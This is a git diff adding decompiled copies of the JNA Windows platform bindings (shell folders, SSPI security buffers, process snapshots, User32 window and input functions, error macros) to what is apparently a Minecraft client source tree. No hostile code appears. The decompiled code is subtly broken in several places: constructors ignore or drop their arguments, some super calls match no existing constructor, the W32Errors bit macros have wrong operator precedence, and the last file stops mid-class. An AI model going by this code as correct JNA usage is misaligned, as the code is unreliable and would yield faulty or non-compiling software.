+  public static String getFolderPath(WinDef.HWND hwnd, int nFolder, WinDef.DWORD dwFlags)
+  {
+    char[] pszPath = new char['Ą'];
+    WinNT.HRESULT hr = Shell32.INSTANCE.SHGetFolderPath(hwnd, nFolder, null, dwFlags, pszPath);
+    
+
+    if (!hr.equals(W32Errors.S_OK)) {
+      throw new Win32Exception(hr);
+    }
+    return Native.toString(pszPath);
+  }
+  
+
+
+
+
+
+
+  public static String getFolderPath(int nFolder)
+  {
+    return getFolderPath(null, nFolder, ShlObj.SHGFP_TYPE_CURRENT);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/ShellAPI.java b/src/minecraft/com/sun/jna/platform/win32/ShellAPI.java
new file mode 100644
index 0000000..23af0f0
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/ShellAPI.java
@@ -0,0 +1,112 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Platform;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.WString;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ShellAPI
+  extends StdCallLibrary
+{
+  public static final int STRUCTURE_ALIGNMENT = Platform.is64Bit() ? 0 : 1;
+  
+  public static final int FO_MOVE = 1;
+  
+  public static final int FO_COPY = 2;
+  
+  public static final int FO_DELETE = 3;
+  
+  public static final int FO_RENAME = 4;
+  
+  public static final int FOF_MULTIDESTFILES = 1;
+  
+  public static final int FOF_CONFIRMMOUSE = 2;
+  
+  public static final int FOF_SILENT = 4;
+  
+  public static final int FOF_RENAMEONCOLLISION = 8;
+  
+  public static final int FOF_NOCONFIRMATION = 16;
+  
+  public static final int FOF_WANTMAPPINGHANDLE = 32;
+  
+  public static final int FOF_ALLOWUNDO = 64;
+  
+  public static final int FOF_FILESONLY = 128;
+  
+  public static final int FOF_SIMPLEPROGRESS = 256;
+  
+  public static final int FOF_NOCONFIRMMKDIR = 512;
+  
+  public static final int FOF_NOERRORUI = 1024;
+  
+  public static final int FOF_NOCOPYSECURITYATTRIBS = 2048;
+  
+  public static final int FOF_NORECURSION = 4096;
+  
+  public static final int FOF_NO_CONNECTED_ELEMENTS = 8192;
+  
+  public static final int FOF_WANTNUKEWARNING = 16384;
+  
+  public static final int FOF_NORECURSEREPARSE = 32768;
+  
+  public static final int FOF_NO_UI = 1556;
+  
+  public static final int PO_DELETE = 19;
+  
+  public static final int PO_RENAME = 20;
+  
+  public static final int PO_PORTCHANGE = 32;
+  
+  public static final int PO_REN_PORT = 52;
+  
+
+  public static class SHFILEOPSTRUCT
+    extends Structure
+  {
+    public WinNT.HANDLE hwnd;
+    
+    public int wFunc;
+    
+    public WString pFrom;
+    
+    public WString pTo;
+    
+    public short fFlags;
+    
+    public boolean fAnyOperationsAborted;
+    
+    public Pointer pNameMappings;
+    public WString lpszProgressTitle;
+    
+    public SHFILEOPSTRUCT() {}
+    
+    public String encodePaths(String[] paths)
+    {
+      String encoded = "";
+      for (int i = 0; i < paths.length; i++) {
+        encoded = encoded + paths[i];
+        encoded = encoded + "\000";
+      }
+      return encoded + "\000";
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/ShlObj.java b/src/minecraft/com/sun/jna/platform/win32/ShlObj.java
new file mode 100644
index 0000000..d77792d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/ShlObj.java
@@ -0,0 +1,84 @@
+package com.sun.jna.platform.win32;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ShlObj
+{
+  public static final WinDef.DWORD SHGFP_TYPE_CURRENT = new WinDef.DWORD(0L);
+  public static final WinDef.DWORD SHGFP_TYPE_DEFAULT = new WinDef.DWORD(1L);
+  public static final int CSIDL_DESKTOP = 0;
+  public static final int CSIDL_INTERNET = 1;
+  public static final int CSIDL_PROGRAMS = 2;
+  public static final int CSIDL_CONTROLS = 3;
+  public static final int CSIDL_PRINTERS = 4;
+  public static final int CSIDL_PERSONAL = 5;
+  public static final int CSIDL_FAVORITES = 6;
+  public static final int CSIDL_STARTUP = 7;
+  public static final int CSIDL_RECENT = 8;
+  public static final int CSIDL_SENDTO = 9;
+  public static final int CSIDL_BITBUCKET = 10;
+  public static final int CSIDL_STARTMENU = 11;
+  public static final int CSIDL_MYDOCUMENTS = 5;
+  public static final int CSIDL_MYMUSIC = 13;
+  public static final int CSIDL_MYVIDEO = 14;
+  public static final int CSIDL_DESKTOPDIRECTORY = 16;
+  public static final int CSIDL_DRIVES = 17;
+  public static final int CSIDL_NETWORK = 18;
+  public static final int CSIDL_NETHOOD = 19;
+  public static final int CSIDL_FONTS = 20;
+  public static final int CSIDL_TEMPLATES = 21;
+  public static final int CSIDL_COMMON_STARTMENU = 22;
+  public static final int CSIDL_COMMON_PROGRAMS = 23;
+  public static final int CSIDL_COMMON_STARTUP = 24;
+  public static final int CSIDL_COMMON_DESKTOPDIRECTORY = 25;
+  public static final int CSIDL_APPDATA = 26;
+  public static final int CSIDL_PRINTHOOD = 27;
+  public static final int CSIDL_LOCAL_APPDATA = 28;
+  public static final int CSIDL_ALTSTARTUP = 29;
+  public static final int CSIDL_COMMON_ALTSTARTUP = 30;
+  public static final int CSIDL_COMMON_FAVORITES = 31;
+  public static final int CSIDL_INTERNET_CACHE = 32;
+  public static final int CSIDL_COOKIES = 33;
+  public static final int CSIDL_HISTORY = 34;
+  public static final int CSIDL_COMMON_APPDATA = 35;
+  public static final int CSIDL_WINDOWS = 36;
+  public static final int CSIDL_SYSTEM = 37;
+  public static final int CSIDL_PROGRAM_FILES = 38;
+  public static final int CSIDL_MYPICTURES = 39;
+  public static final int CSIDL_PROFILE = 40;
+  public static final int CSIDL_SYSTEMX86 = 41;
+  public static final int CSIDL_PROGRAM_FILESX86 = 42;
+  public static final int CSIDL_PROGRAM_FILES_COMMON = 43;
+  public static final int CSIDL_PROGRAM_FILES_COMMONX86 = 44;
+  public static final int CSIDL_COMMON_TEMPLATES = 45;
+  public static final int CSIDL_COMMON_DOCUMENTS = 46;
+  public static final int CSIDL_COMMON_ADMINTOOLS = 47;
+  public static final int CSIDL_ADMINTOOLS = 48;
+  public static final int CSIDL_CONNECTIONS = 49;
+  public static final int CSIDL_COMMON_MUSIC = 53;
+  public static final int CSIDL_COMMON_PICTURES = 54;
+  public static final int CSIDL_COMMON_VIDEO = 55;
+  public static final int CSIDL_RESOURCES = 56;
+  public static final int CSIDL_RESOURCES_LOCALIZED = 57;
+  public static final int CSIDL_COMMON_OEM_LINKS = 58;
+  public static final int CSIDL_CDBURN_AREA = 59;
+  public static final int CSIDL_COMPUTERSNEARME = 61;
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Sspi.java b/src/minecraft/com/sun/jna/platform/win32/Sspi.java
new file mode 100644
index 0000000..37889fd
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Sspi.java
@@ -0,0 +1,474 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.WString;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Sspi
+  extends StdCallLibrary
+{
+  public static final int MAX_TOKEN_SIZE = 12288;
+  public static final int SECPKG_CRED_INBOUND = 1;
+  public static final int SECPKG_CRED_OUTBOUND = 2;
+  public static final int SECURITY_NATIVE_DREP = 16;
+  public static final int ISC_REQ_ALLOCATE_MEMORY = 256;
+  public static final int ISC_REQ_CONFIDENTIALITY = 16;
+  public static final int ISC_REQ_CONNECTION = 2048;
+  public static final int ISC_REQ_DELEGATE = 1;
+  public static final int ISC_REQ_EXTENDED_ERROR = 16384;
+  public static final int ISC_REQ_INTEGRITY = 65536;
+  public static final int ISC_REQ_MUTUAL_AUTH = 2;
+  public static final int ISC_REQ_REPLAY_DETECT = 4;
+  public static final int ISC_REQ_SEQUENCE_DETECT = 8;
+  public static final int ISC_REQ_STREAM = 32768;
+  public static final int SECBUFFER_VERSION = 0;
+  public static final int SECBUFFER_EMPTY = 0;
+  public static final int SECBUFFER_DATA = 1;
+  public static final int SECBUFFER_TOKEN = 2;
+  
+  public static class SecHandle
+    extends Structure
+  {
+    public Pointer dwLower;
+    public Pointer dwUpper;
+    
+    public SecHandle()
+    {
+      dwLower = null;
+      dwUpper = null;
+    }
+    
+
+
+
+
+    public boolean isNull()
+    {
+      return (dwLower == null) && (dwUpper == null);
+    }
+    
+
+    public static class ByReference
+      extends Sspi.SecHandle
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+  public static class PSecHandle
+    extends Structure
+  {
+    public Sspi.SecHandle.ByReference secHandle;
+    
+
+    public PSecHandle() {}
+    
+    public PSecHandle(Sspi.SecHandle h)
+    {
+      super();
+      read();
+    }
+    
+
+    public static class ByReference
+      extends Sspi.PSecHandle
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+  public static class CredHandle
+    extends Sspi.SecHandle
+  {
+    public CredHandle() {}
+  }
+  
+
+  public static class CtxtHandle
+    extends Sspi.SecHandle
+  {
+    public CtxtHandle() {}
+  }
+  
+  public static class SecBuffer
+    extends Structure
+  {
+    public NativeLong cbBuffer;
+    public NativeLong BufferType;
+    public Pointer pvBuffer;
+    
+    public static class ByReference
+      extends Sspi.SecBuffer
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(int type, int size)
+      {
+        super(size);
+      }
+      
+      public ByReference(int type, byte[] token) {
+        super(token);
+      }
+      
+
+
+
+
+      public byte[] getBytes()
+      {
+        return super.getBytes();
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public SecBuffer()
+    {
+      cbBuffer = new NativeLong(0L);
+      pvBuffer = null;
+      BufferType = new NativeLong(0L);
+    }
+    
+
+
+
+
+
+
+    public SecBuffer(int type, int size)
+    {
+      cbBuffer = new NativeLong(size);
+      pvBuffer = new Memory(size);
+      BufferType = new NativeLong(type);
+      allocateMemory();
+    }
+    
+
+
+
+
+
+
+    public SecBuffer(int type, byte[] token)
+    {
+      cbBuffer = new NativeLong(token.length);
+      pvBuffer = new Memory(token.length);
+      pvBuffer.write(0L, token, 0, token.length);
+      BufferType = new NativeLong(type);
+      allocateMemory();
+    }
+    
+
+
+
+
+    public byte[] getBytes()
+    {
+      return pvBuffer.getByteArray(0L, cbBuffer.intValue());
+    }
+  }
+  
+
+
+
+  public static class SecBufferDesc
+    extends Structure
+  {
+    public NativeLong ulVersion;
+    
+
+
+    public NativeLong cBuffers;
+    
+
+    public Sspi.SecBuffer.ByReference[] pBuffers;
+    
+
+
+    public SecBufferDesc()
+    {
+      ulVersion = new NativeLong(0L);
+      cBuffers = new NativeLong(1L);
+      Sspi.SecBuffer.ByReference secBuffer = new Sspi.SecBuffer.ByReference();
+      pBuffers = ((Sspi.SecBuffer.ByReference[])secBuffer.toArray(1));
+      allocateMemory();
+    }
+    
+
+
+
+
+
+
+    public SecBufferDesc(int type, byte[] token)
+    {
+      ulVersion = new NativeLong(0L);
+      cBuffers = new NativeLong(1L);
+      Sspi.SecBuffer.ByReference secBuffer = new Sspi.SecBuffer.ByReference(type, token);
+      pBuffers = ((Sspi.SecBuffer.ByReference[])secBuffer.toArray(1));
+      allocateMemory();
+    }
+    
+
+
+
+
+    public SecBufferDesc(int type, int tokenSize)
+    {
+      ulVersion = new NativeLong(0L);
+      cBuffers = new NativeLong(1L);
+      Sspi.SecBuffer.ByReference secBuffer = new Sspi.SecBuffer.ByReference(type, tokenSize);
+      pBuffers = ((Sspi.SecBuffer.ByReference[])secBuffer.toArray(1));
+      allocateMemory();
+    }
+    
+    public byte[] getBytes() {
+      if ((pBuffers == null) || (cBuffers == null)) {
+        throw new RuntimeException("pBuffers | cBuffers");
+      }
+      if (cBuffers.intValue() == 1) {
+        return pBuffers[0].getBytes();
+      }
+      throw new RuntimeException("cBuffers > 1");
+    }
+  }
+  
+
+  public static class SECURITY_INTEGER
+    extends Structure
+  {
+    public NativeLong dwLower;
+    
+    public NativeLong dwUpper;
+    
+
+    public SECURITY_INTEGER()
+    {
+      dwLower = new NativeLong(0L);
+      dwUpper = new NativeLong(0L);
+    }
+  }
+  
+
+
+
+
+  public static class TimeStamp
+    extends Sspi.SECURITY_INTEGER
+  {
+    public TimeStamp() {}
+  }
+  
+
+
+
+
+  public static class PSecPkgInfo
+    extends Structure
+  {
+    public Sspi.SecPkgInfo.ByReference pPkgInfo;
+    
+
+
+
+    public PSecPkgInfo() {}
+    
+
+
+
+    public Sspi.SecPkgInfo.ByReference[] toArray(int size)
+    {
+      return (Sspi.SecPkgInfo.ByReference[])pPkgInfo.toArray(size);
+    }
+    
+
+
+
+
+    public static class ByReference
+      extends Sspi.PSecPkgInfo
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+  
+
+
+
+  public static class SecPkgInfo
+    extends Structure
+  {
+    public NativeLong fCapabilities;
+    
+
+
+    public short wVersion;
+    
+
+
+    public short wRPCID;
+    
+
+
+    public NativeLong cbMaxToken;
+    
+
+
+    public WString Name;
+    
+
+
+    public WString Comment;
+    
+
+
+
+    public SecPkgInfo()
+    {
+      fCapabilities = new NativeLong(0L);
+      wVersion = 1;
+      wRPCID = 0;
+      cbMaxToken = new NativeLong(0L);
+    }
+    
+    public static class ByReference
+      extends Sspi.SecPkgInfo
+      implements Structure.ByReference
+    {
+      public ByReference() {}
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Tlhelp32.java b/src/minecraft/com/sun/jna/platform/win32/Tlhelp32.java
new file mode 100644
index 0000000..02f195d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Tlhelp32.java
@@ -0,0 +1,139 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Tlhelp32
+  extends StdCallLibrary
+{
+  public static final WinDef.DWORD TH32CS_SNAPHEAPLIST = new WinDef.DWORD(1L);
+  
+
+
+
+  public static final WinDef.DWORD TH32CS_SNAPPROCESS = new WinDef.DWORD(2L);
+  
+
+
+
+  public static final WinDef.DWORD TH32CS_SNAPTHREAD = new WinDef.DWORD(4L);
+  
+
+
+
+
+  public static final WinDef.DWORD TH32CS_SNAPMODULE = new WinDef.DWORD(8L);
+  
+
+
+
+
+
+  public static final WinDef.DWORD TH32CS_SNAPMODULE32 = new WinDef.DWORD(16L);
+  
+
+
+
+  public static final WinDef.DWORD TH32CS_SNAPALL = new WinDef.DWORD(TH32CS_SNAPHEAPLIST.intValue() | TH32CS_SNAPPROCESS.intValue() | TH32CS_SNAPTHREAD.intValue() | TH32CS_SNAPMODULE.intValue());
+  
+
+
+
+
+  public static final WinDef.DWORD TH32CS_INHERIT = new WinDef.DWORD(-2147483648L);
+  
+  public static class PROCESSENTRY32 extends Structure {
+    public WinDef.DWORD dwSize;
+    public WinDef.DWORD cntUsage;
+    public WinDef.DWORD th32ProcessID;
+    public BaseTSD.ULONG_PTR th32DefaultHeapID;
+    
+    public static class ByReference extends Tlhelp32.PROCESSENTRY32 implements Structure.ByReference {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory) {
+        super();
+      }
+    }
+    
+    public PROCESSENTRY32() {
+      dwSize = new WinDef.DWORD(size());
+    }
+    
+    public PROCESSENTRY32(Pointer memory) {
+      super();
+      read();
+    }
+    
+
+
+
+
+
+
+
+
+    public WinDef.DWORD th32ModuleID;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD cntThreads;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD th32ParentProcessID;
+    
+
+
+
+
+
+
+
+    public WinDef.LONG pcPriClassBase;
+    
+
+
+
+
+
+
+
+    public WinDef.DWORD dwFlags;
+    
+
+
+
+
+
+
+    public char[] szExeFile = new char['Ą'];
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/User32.java b/src/minecraft/com/sun/jna/platform/win32/User32.java
new file mode 100644
index 0000000..8cbb5c0
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/User32.java
@@ -0,0 +1,172 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure.ByReference;
+import com.sun.jna.ptr.ByteByReference;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface User32
+  extends StdCallLibrary, WinUser
+{
+  public static final User32 INSTANCE = (User32)Native.loadLibrary("user32", User32.class, W32APIOptions.DEFAULT_OPTIONS);
+  
+  public abstract WinDef.HDC GetDC(WinDef.HWND paramHWND);
+  
+  public abstract int ReleaseDC(WinDef.HWND paramHWND, WinDef.HDC paramHDC);
+  
+  public abstract WinDef.HWND FindWindow(String paramString1, String paramString2);
+  
+  public abstract int GetClassName(WinDef.HWND paramHWND, char[] paramArrayOfChar, int paramInt);
+  
+  public abstract boolean GetGUIThreadInfo(int paramInt, WinUser.GUITHREADINFO paramGUITHREADINFO);
+  
+  public abstract boolean GetWindowInfo(WinDef.HWND paramHWND, WinUser.WINDOWINFO paramWINDOWINFO);
+  
+  public abstract boolean GetWindowRect(WinDef.HWND paramHWND, WinDef.RECT paramRECT);
+  
+  public abstract int GetWindowText(WinDef.HWND paramHWND, char[] paramArrayOfChar, int paramInt);
+  
+  public abstract int GetWindowTextLength(WinDef.HWND paramHWND);
+  
+  public abstract int GetWindowModuleFileName(WinDef.HWND paramHWND, char[] paramArrayOfChar, int paramInt);
+  
+  public abstract int GetWindowThreadProcessId(WinDef.HWND paramHWND, IntByReference paramIntByReference);
+  
+  public abstract boolean EnumWindows(WinUser.WNDENUMPROC paramWNDENUMPROC, Pointer paramPointer);
+  
+  public abstract boolean EnumChildWindows(WinDef.HWND paramHWND, WinUser.WNDENUMPROC paramWNDENUMPROC, Pointer paramPointer);
+  
+  public abstract boolean EnumThreadWindows(int paramInt, WinUser.WNDENUMPROC paramWNDENUMPROC, Pointer paramPointer);
+  
+  public abstract boolean FlashWindowEx(WinUser.FLASHWINFO paramFLASHWINFO);
+  
+  public abstract WinDef.HICON LoadIcon(WinDef.HINSTANCE paramHINSTANCE, String paramString);
+  
+  public abstract WinNT.HANDLE LoadImage(WinDef.HINSTANCE paramHINSTANCE, String paramString, int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+  public abstract boolean DestroyIcon(WinDef.HICON paramHICON);
+  
+  public abstract int GetWindowLong(WinDef.HWND paramHWND, int paramInt);
+  
+  public abstract int SetWindowLong(WinDef.HWND paramHWND, int paramInt1, int paramInt2);
+  
+  public abstract Pointer SetWindowLong(WinDef.HWND paramHWND, int paramInt, Pointer paramPointer);
+  
+  public abstract BaseTSD.LONG_PTR GetWindowLongPtr(WinDef.HWND paramHWND, int paramInt);
+  
+  public abstract BaseTSD.LONG_PTR SetWindowLongPtr(WinDef.HWND paramHWND, int paramInt, BaseTSD.LONG_PTR paramLONG_PTR);
+  
+  public abstract Pointer SetWindowLongPtr(WinDef.HWND paramHWND, int paramInt, Pointer paramPointer);
+  
+  public abstract boolean SetLayeredWindowAttributes(WinDef.HWND paramHWND, int paramInt1, byte paramByte, int paramInt2);
+  
+  public abstract boolean GetLayeredWindowAttributes(WinDef.HWND paramHWND, IntByReference paramIntByReference1, ByteByReference paramByteByReference, IntByReference paramIntByReference2);
+  
+  public abstract boolean UpdateLayeredWindow(WinDef.HWND paramHWND, WinDef.HDC paramHDC1, WinUser.POINT paramPOINT1, WinUser.SIZE paramSIZE, WinDef.HDC paramHDC2, WinUser.POINT paramPOINT2, int paramInt1, WinUser.BLENDFUNCTION paramBLENDFUNCTION, int paramInt2);
+  
+  public abstract int SetWindowRgn(WinDef.HWND paramHWND, WinDef.HRGN paramHRGN, boolean paramBoolean);
+  
+  public abstract boolean GetKeyboardState(byte[] paramArrayOfByte);
+  
+  public abstract short GetAsyncKeyState(int paramInt);
+  
+  public abstract WinUser.HHOOK SetWindowsHookEx(int paramInt1, WinUser.HOOKPROC paramHOOKPROC, WinDef.HINSTANCE paramHINSTANCE, int paramInt2);
+  
+  public abstract WinDef.LRESULT CallNextHookEx(WinUser.HHOOK paramHHOOK, int paramInt, WinDef.WPARAM paramWPARAM, WinDef.LPARAM paramLPARAM);
+  
+  public abstract WinDef.LRESULT CallNextHookEx(WinUser.HHOOK paramHHOOK, int paramInt, WinDef.WPARAM paramWPARAM, Pointer paramPointer);
+  
+  public abstract boolean UnhookWindowsHookEx(WinUser.HHOOK paramHHOOK);
+  
+  public abstract int GetMessage(WinUser.MSG paramMSG, WinDef.HWND paramHWND, int paramInt1, int paramInt2);
+  
+  public abstract boolean PeekMessage(WinUser.MSG paramMSG, WinDef.HWND paramHWND, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean TranslateMessage(WinUser.MSG paramMSG);
+  
+  public abstract WinDef.LRESULT DispatchMessage(WinUser.MSG paramMSG);
+  
+  public abstract void PostMessage(WinDef.HWND paramHWND, int paramInt, WinDef.WPARAM paramWPARAM, WinDef.LPARAM paramLPARAM);
+  
+  public abstract void PostQuitMessage(int paramInt);
+  
+  public abstract int GetSystemMetrics(int paramInt);
+  
+  public abstract WinDef.HWND SetParent(WinDef.HWND paramHWND1, WinDef.HWND paramHWND2);
+  
+  public abstract boolean IsWindowVisible(WinDef.HWND paramHWND);
+  
+  public abstract boolean MoveWindow(WinDef.HWND paramHWND, int paramInt1, int paramInt2, int paramInt3, int paramInt4, boolean paramBoolean);
+  
+  public abstract boolean SetWindowPos(WinDef.HWND paramHWND1, WinDef.HWND paramHWND2, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5);
+  
+  public abstract boolean AttachThreadInput(WinDef.DWORD paramDWORD1, WinDef.DWORD paramDWORD2, boolean paramBoolean);
+  
+  public abstract boolean SetForegroundWindow(WinDef.HWND paramHWND);
+  
+  public abstract WinDef.HWND GetForegroundWindow();
+  
+  public abstract WinDef.HWND SetFocus(WinDef.HWND paramHWND);
+  
+  public abstract WinDef.DWORD SendInput(WinDef.DWORD paramDWORD, WinUser.INPUT[] paramArrayOfINPUT, int paramInt);
+  
+  public abstract WinDef.DWORD WaitForInputIdle(WinNT.HANDLE paramHANDLE, WinDef.DWORD paramDWORD);
+  
+  public abstract boolean InvalidateRect(WinDef.HWND paramHWND, Structure.ByReference paramByReference, boolean paramBoolean);
+  
+  public abstract boolean RedrawWindow(WinDef.HWND paramHWND, Structure.ByReference paramByReference, WinDef.HRGN paramHRGN, WinDef.DWORD paramDWORD);
+  
+  public abstract WinDef.HWND GetWindow(WinDef.HWND paramHWND, WinDef.DWORD paramDWORD);
+  
+  public abstract boolean UpdateWindow(WinDef.HWND paramHWND);
+  
+  public abstract boolean ShowWindow(WinDef.HWND paramHWND, int paramInt);
+  
+  public abstract boolean CloseWindow(WinDef.HWND paramHWND);
+  
+  public abstract boolean RegisterHotKey(WinDef.HWND paramHWND, int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean UnregisterHotKey(Pointer paramPointer, int paramInt);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/VerRsrc.java b/src/minecraft/com/sun/jna/platform/win32/VerRsrc.java
new file mode 100644
index 0000000..7e9e907
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/VerRsrc.java
@@ -0,0 +1,44 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.win32.StdCallLibrary;
+
+public abstract interface VerRsrc extends StdCallLibrary
+{
+  public static class VS_FIXEDFILEINFO extends Structure
+  {
+    public WinDef.DWORD dwSignature;
+    public WinDef.DWORD dwStrucVersion;
+    public WinDef.DWORD dwFileVersionMS;
+    public WinDef.DWORD dwFileVersionLS;
+    public WinDef.DWORD dwProductVersionMS;
+    public WinDef.DWORD dwProductVersionLS;
+    public WinDef.DWORD dwFileFlagsMask;
+    public WinDef.DWORD dwFileFlags;
+    public WinDef.DWORD dwFileOS;
+    public WinDef.DWORD dwFileType;
+    public WinDef.DWORD dwFileSubtype;
+    public WinDef.DWORD dwFileDateMS;
+    public WinDef.DWORD dwFileDateLS;
+    public VS_FIXEDFILEINFO() {}
+    
+    public static class ByReference extends VerRsrc.VS_FIXEDFILEINFO implements com.sun.jna.Structure.ByReference
+    {
+      public ByReference() {}
+      
+      public ByReference(Pointer memory)
+      {
+        super();
+      }
+    }
+    
+
+
+    public VS_FIXEDFILEINFO(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Version.java b/src/minecraft/com/sun/jna/platform/win32/Version.java
new file mode 100644
index 0000000..9ca1f2b
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Version.java
@@ -0,0 +1,32 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Version
+  extends StdCallLibrary
+{
+  public static final Version INSTANCE = (Version)Native.loadLibrary("version", Version.class, W32APIOptions.DEFAULT_OPTIONS);
+  
+  public abstract int GetFileVersionInfoSize(String paramString, IntByReference paramIntByReference);
+  
+  public abstract boolean GetFileVersionInfo(String paramString, int paramInt1, int paramInt2, Pointer paramPointer);
+  
+  public abstract boolean VerQueryValue(Pointer paramPointer, String paramString, PointerByReference paramPointerByReference, IntByReference paramIntByReference);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/W32Errors.java b/src/minecraft/com/sun/jna/platform/win32/W32Errors.java
new file mode 100644
index 0000000..c2c9fd8
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/W32Errors.java
@@ -0,0 +1,104 @@
+package com.sun.jna.platform.win32;
+
+
+
+
+
+
+
+
+
+public abstract class W32Errors
+  implements WinError
+{
+  public W32Errors() {}
+  
+
+
+
+
+
+
+
+
+  public static final boolean SUCCEEDED(int hr)
+  {
+    return hr >= 0;
+  }
+  
+
+
+  public static final boolean FAILED(int hr)
+  {
+    return hr < 0;
+  }
+  
+
+
+  public static final int HRESULT_CODE(int hr)
+  {
+    return hr & 0xFFFF;
+  }
+  
+
+
+  public static final int SCODE_CODE(int sc)
+  {
+    return sc & 0xFFFF;
+  }
+  
+
+
+  public static final int HRESULT_FACILITY(int hr)
+  {
+    return hr >>= 16 & 0x1FFF;
+  }
+  
+  public static final int SCODE_FACILITY(short sc) {
+    return (sc = (short)(sc >> 16)) & 0x1FFF;
+  }
+  
+
+
+  public static short HRESULT_SEVERITY(int hr)
+  {
+    return (short)(hr >>= 31 & 0x1);
+  }
+  
+  public static short SCODE_SEVERITY(short sc) {
+    return (short)((sc = (short)(sc >> 31)) & 0x1);
+  }
+  
+
+
+  public static int MAKE_HRESULT(short sev, short fac, short code)
+  {
+    return sev << 31 | fac << 16 | code;
+  }
+  
+  public static final int MAKE_SCODE(short sev, short fac, short code) {
+    return sev << 31 | fac << 16 | code;
+  }
+  
+
+
+
+
+
+  public static final WinNT.HRESULT HRESULT_FROM_WIN32(int x)
+  {
+    int f = 7;
+    return new WinNT.HRESULT(x <= 0 ? x : x & 0xFFFF | f <<= 16 | 0x80000000);
+  }
+  
+
+
+
+
+
+  public static final int FILTER_HRESULT_FROM_FLT_NTSTATUS(int x)
+  {
+    int f = 31;
+    return x & 0x8000FFFF | f <<= 16;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/W32FileMonitor.java b/src/minecraft/com/sun/jna/platform/win32/W32FileMonitor.java
new file mode 100644
index 0000000..356139d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/W32FileMonitor.java
@@ -0,0 +1,259 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.platform.FileMonitor;
+import com.sun.jna.platform.FileMonitor.FileEvent;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.PointerByReference;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+public class W32FileMonitor
+  extends FileMonitor
+{
+  private static final int BUFFER_SIZE = 4096;
+  private Thread watcher;
+  private WinNT.HANDLE port;
+  public W32FileMonitor() {}
+  
+  private class FileInfo
+  {
+    public final File file;
+    public final WinNT.HANDLE handle;
+    public final int notifyMask;
+    public final boolean recursive;
+    public final WinNT.FILE_NOTIFY_INFORMATION info = new WinNT.FILE_NOTIFY_INFORMATION(4096);
+    public final IntByReference infoLength = new IntByReference();
